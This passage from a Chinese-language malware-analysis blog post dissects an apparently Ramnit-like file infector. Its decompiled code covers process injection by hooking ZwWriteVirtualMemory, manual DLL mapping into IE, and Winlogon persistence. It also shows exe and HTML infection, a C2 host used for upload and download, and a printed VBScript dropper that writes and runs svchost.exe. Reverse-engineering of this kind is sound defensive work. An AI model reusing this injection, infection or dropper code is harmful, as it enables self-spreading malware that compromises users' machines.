<span class="comment">// eax</span></span><br><span class="line">  CHAR szVolumePathName; <span class="comment">// [esp+2h] [ebp-1Eh]</span></span><br><span class="line">  LPCSTR lpString1; <span class="comment">// [esp+Ch] [ebp-14h]</span></span><br><span class="line">  <span class="type">char</span> v10; <span class="comment">// [esp+10h] [ebp-10h]</span></span><br><span class="line">  HGLOBAL hMem; <span class="comment">// [esp+14h] [ebp-Ch]</span></span><br><span class="line">  <span class="type">int</span> v12; <span class="comment">// [esp+18h] [ebp-8h]</span></span><br><span class="line">  <span class="type">int</span> v13; <span class="comment">// [esp+1Ch] [ebp-4h]</span></span><br><span class="line"></span><br><span class="line">  v13 = <span class="number">0</span>;</span><br><span class="line">  v12 = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">if</span> ( lpString &amp;&amp; GetVolumePathNameA(lpString, &amp;szVolumePathName, <span class="number">0xA</span>u) &amp;&amp; GetDriveTypeA(&amp;szVolumePathName) != <span class="number">3</span> )</span><br><span class="line">    v12 = <span class="number">1</span>;</span><br><span class="line">  <span class="keyword">if</span> ( !v12 )</span><br><span class="line">  &#123;</span><br><span class="line">    v4 = lstrlenA(lpString);</span><br><span class="line">    v5 = (<span class="type">void</span> *)FindSpString(a1, a2, (<span class="type">int</span>)lpString, v4, (<span class="type">int</span> *)&amp;v10, (<span class="type">int</span> *)&amp;lpString1);</span><br><span class="line">    <span class="keyword">if</span> ( v5 )</span><br><span class="line">    &#123;</span><br><span class="line">      hMem = v5;</span><br><span class="line">      <span class="keyword">if</span> ( lpString1 &amp;&amp; lstrcmpiA(lpString1, (LPCSTR)&amp;dword_403A5C[<span class="number">369</span>]) )</span><br><span class="line">        v12 = <span class="number">1</span>;</span><br><span class="line">      GlobalFree(hMem);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( v12 == <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    v6 = sub_4015BF(a3, <span class="number">0x404016</span>, (LPCSTR)&amp;dword_403A5C[<span class="number">0x171</span>]);</span><br><span class="line">    <span class="keyword">if</span> ( v6 )</span><br><span class="line">    &#123;</span><br><span class="line">      hMem = v6;</span><br><span class="line">      <span class="keyword">if</span> ( CopyFileA(lpString, v6, <span class="number">0</span>) )</span><br><span class="line">      &#123;</span><br><span class="line">        CreateProc((LPSTR)hMem, <span class="number">1</span>);</span><br><span class="line">        v13 = <span class="number">1</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      GlobalFree(hMem);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> v13;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中传入的<code>lpString</code>就是当前进程的内容。这里可以看到病毒会检测当前程序是否存在固定磁盘上，如果不是的话将v12置为1。（这点不是很懂，因为调试的时候显然是运行在本地磁盘的，但是v12也为1）。之后会进入这个sub_4015BF的函数，这里选取部分:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> ( i = <span class="number">0</span>; i != <span class="number">7</span>; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    v2 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">if</span> ( i )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">switch</span> ( i )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">          v2 = ExpandEnvironmentStringsA(<span class="string">&quot;%CommonProgramFiles%&quot;</span>, &amp;Dst, <span class="number">0x2FC</span>u) - <span class="number">1</span>;</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">          v2 = ExpandEnvironmentStringsA(<span class="string">&quot;%HOMEDRIVE%%HOMEPATH%&quot;</span>, &amp;Dst, <span class="number">0x2FC</span>u) - <span class="number">1</span>;</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">          v2 = ExpandEnvironmentStringsA(<span class="string">&quot;%APPDATA%&quot;</span>, &amp;Dst, <span class="number">0x2FC</span>u) - <span class="number">1</span>;</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line">          v2 = GetSystemDirectoryA(&amp;Dst, <span class="number">0x2FC</span>u);</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">5</span>:</span><br><span class="line">          v2 = GetWindowsDirectoryA(&amp;Dst, <span class="number">0x2FC</span>u);</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">6</span>:</span><br><span class="line">          v2 = GetTempPathA(<span class="number">0x2FC</span>u, &amp;Dst);</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      v2 = ExpandEnvironmentStringsA(<span class="string">&quot;%ProgramFiles%&quot;</span>, &amp;Dst, <span class="number">0x2FC</span>u) - <span class="number">1</span>;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这里会尝试7中不同的路径，检查自己是否有权限向这些位置写入数据，如果能够成功，则向某一条路径复制程序本身。<br>当软件自我复制成功后，会尝试进程启动这个程序:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">BOOL __stdcall <span class="title function_">CreateProc</span><span class="params">(<span class="type">int</span> a1, __int16 a2)</span></span><br><span class="line">&#123;</span><br><span class="line">  HANDLE v2; <span class="comment">// ST24_4</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> _<span class="title">PROCESS_INFORMATION</span> <span class="title">ProcessInformation</span>;</span> <span class="comment">// [esp+0h] [ebp-54h]</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> _<span class="title">STARTUPINFOA</span> <span class="title">StartupInfo</span>;</span> <span class="comment">// [esp+10h] [ebp-44h]</span></span><br><span class="line"></span><br><span class="line">  memcpy_0(&amp;StartupInfo, <span class="number">0x44</span>u);</span><br><span class="line">  memcpy_0(&amp;ProcessInformation, <span class="number">0x10</span>u);</span><br><span class="line">  StartupInfo.wShowWindow = a2;</span><br><span class="line">  StartupInfo.dwFlags = <span class="number">1</span>;</span><br><span class="line">  CreateProcessA(<span class="number">0</span>, (LPSTR)a1, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, &amp;StartupInfo, &amp;ProcessInformation);</span><br><span class="line">  v2 = ProcessInformation.hProcess;</span><br><span class="line">  CloseHandle(ProcessInformation.hThread);</span><br><span class="line">  <span class="keyword">return</span> CloseHandle(v2);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后这个进程就自动退出了。<br>另一个程序的大体流程也是一致的，只不过在文件复制的环节，如果都复制成功之后，就不会进入简单的启动进程的逻辑，而是进入如下的位置:</p><p><img src="/2018/07/22/gmrnHTLb-Analyze/gmrn04.png" alt=""></p><p>程序中使用<code>GetModuleHandle</code>和<code>LoadLibrary</code>动态绑定一些会用到的关键函数。然后会进行<code>HOOK</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">InsertFunction</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  dword_40DFA3 = <span class="number">0</span>;</span><br><span class="line">  dword_40DFA8 = <span class="number">0</span>;</span><br><span class="line">  dword_40DFAD = <span class="number">0</span>;</span><br><span class="line">  lpAddress = <span class="number">0</span>;</span><br><span class="line">  GetTargetProcess();</span><br><span class="line">  dword_40DFB7 = Inject((<span class="type">int</span>)<span class="string">&quot;ntdll.dll&quot;</span>, (<span class="type">int</span>)<span class="string">&quot;ZwWriteVirtualMemory&quot;</span>, <span class="number">4205145</span>);</span><br><span class="line">  <span class="keyword">return</span> ResumeTargetProcessThread_0();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>Inject</code>里面的函数和<code>mhook</code>这个库提供的功能类似，通过从向<code>ntdll.dll</code>动态链接库中申请空间，然后将注入代码写入，实现对&quot;ZwWriteVirtualMemory&quot;函数的注入。由于这个函数在CreateProcess中会被调用，因此会在调用进程创建的时候进入hook函数。</p><p>之后我们来分析一下hook的内容。开始的位置有如下内容:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( pe )</span><br><span class="line">  &#123;</span><br><span class="line">    lpBuffer = pe;</span><br><span class="line">    <span class="keyword">if</span> ( ReadProcessMemory((HANDLE)a1, pe, (DWORD)&amp;MZ_Head, (LPDWORD)<span class="number">0x40</span>, (LPOVERLAPPED)&amp;v7) )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( MZ_Head == <span class="string">&#x27;ZM&#x27;</span></span><br><span class="line">        &amp;&amp; ReadProcessMemory((HANDLE)a1, (<span class="type">char</span> *)lpBuffer + v6, (DWORD)&amp;PE_Head, (LPDWORD)<span class="number">0xF8</span>, (LPOVERLAPPED)&amp;v7)</span><br><span class="line">        &amp;&amp; PE_Head == <span class="number">0x4550</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v9 = (<span class="type">char</span> *)lpBuffer + v4;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>（文件恢复做的不是很好，这里漏掉了一些内容）这里可以猜测出，应该是病毒自己释放了一个文件，之前存放于自己进程中，然后这里通过读取进程的方式，将当前的数据读出，然后依次检测当前的文件头部是不是&quot;MZ&quot;，以及NT头部的内容是否为&quot;PE&quot;来确认进程。最后将NT头部之后的地址返回存储与程序中。<br>然后程序尝试寻找一个可以释放关键代码的地址:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">do</span></span><br><span class="line">  &#123;</span><br><span class="line">    begin_addr += <span class="number">0x10000</span>;</span><br><span class="line">    lpAddress = (LPVOID)(begin_addr + baseaddr);</span><br><span class="line">    lpBaseAddress = VirtualAlloc_1((LPVOID)(begin_addr + baseaddr), dwSize, <span class="number">0x3000</span>u, <span class="number">0x40</span>u);</span><br><span class="line">    <span class="keyword">if</span> ( lpBaseAddress )</span><br><span class="line">    &#123;</span><br><span class="line">      VirtualFree(lpBaseAddress, <span class="number">0</span>, <span class="number">0x8000</span>u);</span><br><span class="line">      lpBaseAddress = VirtualAllocEx(hProcess, lpAddress, dwSize, <span class="number">0x3000</span>u, <span class="number">0x40</span>u);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">while</span> ( begin_addr &lt; <span class="number">0x30000000</span> &amp;&amp; !lpBaseAddress );</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>通过反复尝试进行地址分配和删除，从而确定一个可以使用的地址位置。根据后来的结果来看，最后会被定位到<code>0x20010000</code>上<br><img src="/2018/07/22/gmrnHTLb-Analyze/gmrn05.png" alt=""><br>之后会尝试的读出当前进程的PE文件头，并且将本来存储与本身的DLL文件写入到进程中的，通过分配空间对其进行构造，并且填写PE头部。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line">v6 = checkAndGetSectionHeaders((<span class="type">int</span>)PEFile, size);</span><br><span class="line"> <span class="keyword">if</span> ( v6 )</span><br><span class="line"> &#123;</span><br><span class="line"></span><br><span class="line">   sectionHeaders = (_DWORD *)v6;</span><br><span class="line">   File_header = checkHeadBoundary((<span class="type">int</span>)PEFile, size);</span><br><span class="line">   <span class="keyword">if</span> ( File_header )</span><br><span class="line">   &#123;</span><br><span class="line">     File_header_1 = File_header;</span><br><span class="line">     option_header = (_DWORD *)checkAndGetOptionHeader((<span class="type">int</span>)PEFile, size);</span><br><span class="line">     <span class="keyword">if</span> ( option_header )</span><br><span class="line">     &#123;</span><br><span class="line">       option_header_2 = option_header;</span><br><span class="line">       sizeOfImage = (<span class="type">void</span> *)option_header[<span class="number">14</span>];</span><br><span class="line">       imageAddress = (<span class="type">char</span> *)VirtualAlloc_1(lpAddress, option_header[<span class="number">14</span>], <span class="number">0x2000</span>u, <span class="number">1u</span>);<span class="comment">// 分配一个image大小的空间</span></span><br><span class="line">       <span class="keyword">if</span> ( imageAddress )</span><br><span class="line">       &#123;</span><br><span class="line">         mallocAddress = imageAddress;</span><br><span class="line">                   offsetOfRealDLLAddres = &amp;imageAddress[-option_header_2[<span class="number">7</span>]];</span><br><span class="line">         HeaderAddress = VirtualAlloc_1(imageAddress, option_header_2[<span class="number">15</span>], <span class="number">0x1000</span>u, <span class="number">4u</span>);</span><br><span class="line">         <span class="keyword">if</span> ( HeaderAddress )</span><br><span class="line">         &#123;</span><br><span class="line">           HeaderAddress0 = HeaderAddress;</span><br><span class="line">           <span class="built_in">memcpy</span>(PEFile, HeaderAddress, option_header_2[<span class="number">15</span>], <span class="number">0</span>);<span class="comment">// 将内存中的那个PE头（也就是DLL头部）考入</span></span><br><span class="line">           VirtualProtect(HeaderAddress0, option_header_2[<span class="number">15</span>], <span class="number">2u</span>, &amp;flOldProtect);</span><br><span class="line">           numberOfSections = *(<span class="type">unsigned</span> __int16 *)(File_header_1 + <span class="number">2</span>);<span class="comment">// 拿到此时的Sections 的数量</span></span><br><span class="line">           each_section = sectionHeaders;</span><br><span class="line">           <span class="keyword">while</span> ( checkDstBoundaryAndGetFileHeeader((<span class="type">int</span>)PEFile, size, (<span class="type">int</span>)each_section, <span class="number">0x28</span>) )<span class="comment">// 遍历所有的section头部</span></span><br><span class="line">           &#123;</span><br><span class="line">             VirtualSize = each_section[<span class="number">2</span>];    <span class="comment">// Misc:physical address/virtualsize</span></span><br><span class="line">             sizeOfRawData = each_section[<span class="number">4</span>];</span><br><span class="line">             <span class="keyword">if</span> ( VirtualSize &lt; sizeOfRawData )</span><br><span class="line">             &#123;</span><br><span class="line">               VirtualSize = each_section[<span class="number">4</span>];</span><br><span class="line">               sizeOfRawData = each_section[<span class="number">2</span>];</span><br><span class="line">             &#125;</span><br><span class="line">             size_1 = VirtualSize;</span><br><span class="line">             BeginOfRealSection = &amp;PEFile[each_section[<span class="number">5</span>]];<span class="comment">// PointerToRawData+PEFile也就是这个节的开始位置</span></span><br><span class="line">             v26 = mallocAddress_;</span><br><span class="line">             mallcSection = VirtualAlloc_1((<span class="type">char</span> *)mallocAddress + each_section[<span class="number">3</span>], VirtualSize, <span class="number">0x1000</span>u, <span class="number">4u</span>);<span class="comment">// 往程序中分配节</span></span><br><span class="line">             <span class="keyword">if</span> ( !mallcSection )</span><br><span class="line">               <span class="keyword">break</span>;</span><br><span class="line">             HeaderAddress0 = mallcSection;</span><br><span class="line">             memcpy_0(mallcSection, size_1);</span><br><span class="line">             <span class="built_in">memcpy</span>(BeginOfRealSection, HeaderAddress0, sizeOfRawData, <span class="number">0</span>);<span class="comment">// 将PE文件头的真实节复制进去</span></span><br><span class="line">             each_section += <span class="number">10</span>;</span><br><span class="line">             <span class="keyword">if</span> ( v26 == <span class="number">1</span> )</span><br><span class="line">             &#123;</span><br><span class="line">               out_ptr[<span class="number">1</span>] = (<span class="type">char</span> *)mallocAddress + option_header_2[<span class="number">4</span>];<span class="comment">// 这里算出入口位置</span></span><br><span class="line">               *out_ptr = mallocAddress;</span><br><span class="line">               out_ptr[<span class="number">2</span>] = sizeOfImage;</span><br><span class="line">               <span class="keyword">if</span> ( !relocDLLImportDirectory((<span class="type">int</span>)mallocAddress, (<span class="type">int</span>)sizeOfImage, (<span class="type">int</span>)offsetOfRealDLLAddres) )</span><br><span class="line">                 <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">               <span class="keyword">if</span> ( a6 != <span class="number">1</span> )</span><br><span class="line">                 <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>之后就能够将整个的DLL构建完成。之后为了能够执行这部分的内容，病毒还将程序入口逻辑进行了修改:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">.text:013AB5E8 start           proc near               ; DATA XREF: HEADER:01350160↑o</span><br><span class="line">.text:013AB5E8                 mov     edi, 0A0000h</span><br><span class="line">.text:013AB5ED                 push    0B0000h</span><br><span class="line">.text:013AB5F2</span><br><span class="line">.text:013AB5F2 loc_13AB5F2:                            ; CODE XREF: sub_13A98B5+1F↑p</span><br><span class="line">.text:013AB5F2                                         ; sub_13D165D-27B94↑p ...</span><br><span class="line">.text:013AB5F2                 call    edi</span><br><span class="line">.text:013AB5F4                 in      al, dx</span><br><span class="line">.text:013AB5F5                 push    dword ptr [ebp+8]</span><br><span class="line">.text:013AB5F8                 call    sub_13AADAE</span><br><span class="line">.text:013AB5FD                 pop     ecx</span><br><span class="line">.text:013AB5FE                 pop     ebp</span><br></pre></td></tr></table></figure><p>这部分为新建立的进程的逻辑。关键在于，此时的<code>0B0000</code>中的内容已经变成了:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DllEntryPoint   dd 20010000h, 20017C79h, 0D000h, 80000h, 90000h</span><br></pre></td></tr></table></figure><p>这里的<code>0B0000</code>已经彻底变成了问题DLL的入口。(由于作者技术有限，这里没有展示0A0000中的代码内容，但是不难想象，应该是一个load函数)<br>于是这个病毒成功的将自己注入到了一个正常的IE进程中，并且借助IE的外壳进行行动。</p><h3 id="具体行为">具体行为</h3><p>之前提到过，病毒释放了一段逻辑，我们这里来分析一下主要逻辑在做什么:<br>程序开始时候创建了一个Mutex互斥锁，之后应该会有多线程的操作。<br>然后将原先的加密字符串解密，并且初始化Socket;</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">InitHeap();</span><br><span class="line">WSAiNIT();                                    <span class="comment">// 初始化socket</span></span><br><span class="line">InitFileName();</span><br><span class="line"></span><br><span class="line">SetErrorMode(<span class="number">0x8003</span>u);</span><br><span class="line">DecodeStr(target_host, <span class="string">&#x27;t&#x27;</span>, &amp;decodeStr, size);<span class="comment">// 解密这些字符串</span></span><br><span class="line">DecodeStr(aTrash, <span class="string">&#x27;n&#x27;</span>, &amp;decodeStr, size);</span><br><span class="line">DecodeStr(String, <span class="string">&#x27;v&#x27;</span>, &amp;decodeStr, size);</span><br><span class="line">DecodeStr(aHome_0, <span class="string">&#x27;v&#x27;</span>, &amp;decodeStr, size);</span><br></pre></td></tr></table></figure><p>检查当前磁盘符号，并且将读出的基本信息拷贝到一个全局变量中。之后将这些信息MD5处理，然并且将这些信息连同当前时间一起写入到文件<code>\Application\dmlconf.dat</code>中<br>之后程序会启动多个线程进行操作</p><h4 id="线程1">线程1</h4><p>线程打开注册表<code>Software\Microsoft\Windows NT\CurrentVersion\Winlogon</code>中的<code>Userinit</code>，之后会将自己的程序地址放入其中，使其能够做到开机自启。</p><h4 id="线程2">线程2</h4><p>线程使用之前初始化完成的socket，向网址<code>google.com:80</code>，<code>bing.com:80</code>，<code>yahoo.com:80</code>三个网址发送请求，检测当前的网络情况是否通畅</p><h4 id="线程3">线程3</h4><p>每隔一阵子往文件<code>dmlconf.dat</code>中写入当前的时间</p><h4 id="线程4">线程4</h4><p>这个线程会检测一个全局变量，然后会创建两个子线程进行网络通信。<br>线程A:<br>负责从<code>fget-career.com：4678</code>中上传之前提到的各类基本信息，包括时间，本机的基本状态等等<br>线程B:<br>从<code>fget-career.com:4678</code>中下载数据<br>(功力太差，这段没看懂)</p><h4 id="线程5">线程5</h4><p>首先检查注册表中的<code>Software\WASAntidot</code>，如果其中的值为<code>disable</code>，那么放弃遍历磁盘。否额的话进行磁盘的遍历。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">InitWindowsInfo();</span><br><span class="line">result = GetLogicalDriveStringsA(<span class="number">0x200</span>u, &amp;Buffer);</span><br><span class="line"><span class="keyword">for</span> ( i = &amp;Buffer; *i; i += result + <span class="number">1</span> )</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> ( CalculateFreeSize(i) == <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    v3 = GetDriveTypeA(i);</span><br><span class="line">    <span class="keyword">if</span> ( v3 == <span class="number">3</span> || v3 == <span class="number">2</span> )</span><br><span class="line">      Infected(a1, i, i);</span><br><span class="line">  &#125;</span><br><span class="line">  result = <span class="built_in">strlen</span>(i);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h5 id="感染磁盘">感染磁盘</h5><p>针对磁盘，其需要避免的遍历的路径为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\system32\</span><br><span class="line">C:\Windows\</span><br></pre></td></tr></table></figure><p>如果当前磁盘空间大小符合要求(超过80000h)则检查磁盘类型。本地磁盘和移动磁盘都将被感染。之后将遍历所有磁盘下的文件，然后检查文件后缀，如果文件后缀为<code>.exe</code>或者为<code>.html</code>的则进行感染</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">endStr = (<span class="type">const</span> CHAR *)FindEndStr(lpString);</span><br><span class="line"> <span class="keyword">if</span> ( endStr )</span><br><span class="line"> &#123;</span><br><span class="line">   isExe = checkFileEnd((<span class="type">int</span>)endStr, endStr, aExe);<span class="comment">// 如果文件节为是exe的话</span></span><br><span class="line">   <span class="keyword">if</span> ( isExe == <span class="number">1</span> )</span><br><span class="line">   &#123;</span><br><span class="line">     <span class="keyword">if</span> ( CalculateFreeSize(lpString2) == <span class="number">1</span> )</span><br><span class="line">       infectedExe(a1, lpString);</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">else</span> <span class="keyword">if</span> ( checkFileEnd(isExe, v5, aHtml) == <span class="number">1</span> &amp;&amp; CalculateFreeSize(lpString2) == <span class="number">1</span> )</span><br><span class="line">   &#123;</span><br><span class="line">     infectedHtm(lpString);</span><br><span class="line">   &#125;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>如果对象是<code>exe</code>文件的话，首先检查文件中导入表内有没有<code>Loadlibrary</code>和<code>CreateProcess</code>函数，有的话则通过解析文件头部，将其中塞入一个<code>.rmnet</code>的节。然后会将原来的exe运行的入口处修改，放入两个关键逻辑。最后还会重新计算PE文件头的checksum。<br>其中一个逻辑即为当前逻辑，另一个逻辑内容为:<br>程序运行过程中，释放全局锁<code>KyUffThOkYwRRtgPP</code>，期间动态绑定函数，并且创建一个叫做<code>Srv.exe</code>的文件且运行。</p><h5 id="感染html">感染html</h5><p>此时则是通过检查html文件节为中，是否包含关键字符串<code>&lt;/SCRIPT&gt;</code>，如果未包含则将以下代码写入html文件中:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">&lt;SCRIPT Language=VBScript&gt;&lt;!--&#x27;,0Dh,0Ah</span><br><span class="line">DropFileName = &quot;svchost.exe&quot;&#x27;,0Dh,0Ah</span><br><span class="line">WriteData = &quot;&quot;&#x27;,0Dh,0Ah</span><br><span class="line">Set FSO = CreateObject(&quot;Scripting.FileSystemObject&quot;)&#x27;</span><br><span class="line">DropPath = FSO.GetSpecialFolder(2) &amp; &quot;\&quot; &amp; DropFileName&#x27; // 在临时目录下创建文件 svchost.exe</span><br><span class="line">If FSO.FileExists(DropPath)=False Then&#x27;,0Dh,0Ah</span><br><span class="line">    Set FileObj = FSO.CreateTextFile(DropPath, True)&#x27;,0Dh,0Ah</span><br><span class="line">    For i = 1 To Len(WriteData) Step 2&#x27;,0Dh,0Ah</span><br><span class="line">        FileObj.Write Chr(CLng(&quot;&amp;H&quot; &amp; Mid(WriteData,i,2)))&#x27;,0Dh,0Ah</span><br><span class="line">    Next&#x27;,0Dh,0Ah</span><br><span class="line">    FileObj.Close&#x27;,0Dh,0Ah</span><br><span class="line">End If&#x27;,0Dh,0Ah</span><br><span class="line">Set WSHshell = CreateObject(&quot;WScript.Shell&quot;)&#x27;,0Dh,0Ah</span><br><span class="line">WSHshell.Run DropPath, 0&#x27;,0Dh,0Ah</span><br><span class="line">//--&gt;&lt;/SCRIPT&gt;RmN&#x27;,0</span><br></pre></td></tr></table></figure><p>其中，WriteData内的数据为之前的病毒数据。</p><h5 id="感染移动磁盘">感染移动磁盘</h5><p>前两个行为只是针对所有目录，后面还有一个针对移动磁盘的感染逻辑:<br>首先检查移动磁盘中的<code>autoinf</code>文件中末尾是否有<code>RmN</code>字样的字符，如果没有的话，则进行感染:</p><ul><li>首先生成一个类似GUID的值，作为目录</li><li>在当前磁盘目录后面添加上<code>RECYCLER</code>，创建该目录并且设置为hidden</li><li>之后再<code>RECYCLER</code>目录下，添加我们之前添加的目录，并且设为隐藏</li><li>生成一个随机字符串并且再之后加上<code>.exe</code></li></ul><p>之后开始对文件进行操作。首先会像那个exe文件中写入首先往<code>autoruninfo</code>文件写入下列内容：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 